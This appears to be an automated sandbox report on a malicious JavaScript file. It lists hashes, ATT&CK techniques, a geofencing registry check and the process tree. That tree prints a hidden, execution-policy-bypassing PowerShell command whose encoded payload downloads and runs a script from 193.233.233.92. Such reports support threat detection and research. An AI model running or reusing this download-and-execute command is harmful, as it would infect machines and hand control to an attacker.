90b76f040fda32466006591021f2e291721a522ed1f280033b42d4f1e6461280

Analysis

max time kernel
135s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
19/05/2023, 16:09

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General

Target

90b76f040fda32466006591021f2e291721a522ed1f280033b42d4f1e6461280.js
Size

30KB
MD5

44ceea9bb05fe4616c1b09a0c1f520df
SHA1

748c91404e96a24b4e382faf3e514e921f6d42c9
SHA256

90b76f040fda32466006591021f2e291721a522ed1f280033b42d4f1e6461280
SHA512

a05384f6ff425efc917f00249cd23b5af96d8dda53f8b328ef1c6d1787c99549d439ccdb490960cacd97fe9ef336af91b24980547104a910c55059f942b7ecaa
SSDEEP

384:O39+2LVw4HL53XjwAKbTNhLYKFUtBFe9B9PlRSOfXAWbQjNP:1ow+3XUAKnNyKuFcoWbYx

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://193.233.233.92/f2.ps1

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	1996	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1996	powershell.exe
1996	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1996	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4524 wrote to memory of 1488	4524	wscript.exe	84
PID 4524 wrote to memory of 1488	4524	wscript.exe	84
PID 1488 wrote to memory of 1996	1488	cmd.exe	86
PID 1488 wrote to memory of 1996	1488	cmd.exe	86

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\90b76f040fda32466006591021f2e291721a522ed1f280033b42d4f1e6461280.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powersHell -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADMALgAyADMAMwAuADIAMwAzAC4AOQAyAC8AZgAyAC4AcABzADEAIgApAA==
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1488
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powersHell -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADMALgAyADMAMwAuADIAMwAzAC4AOQAyAC8AZgAyAC4AcABzADEAIgApAA==
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1996

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1qweh4mo.rpx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1996-134-0x000002D7D25F0000-0x000002D7D2612000-memory.dmp

Filesize
136KB

Download
memory/1996-144-0x000002D7D2670000-0x000002D7D2680000-memory.dmp

Filesize
64KB

Download
memory/1996-145-0x000002D7D2670000-0x000002D7D2680000-memory.dmp

Filesize
64KB

Download
memory/1996-146-0x000002D7D2670000-0x000002D7D2680000-memory.dmp

Filesize
64KB

Download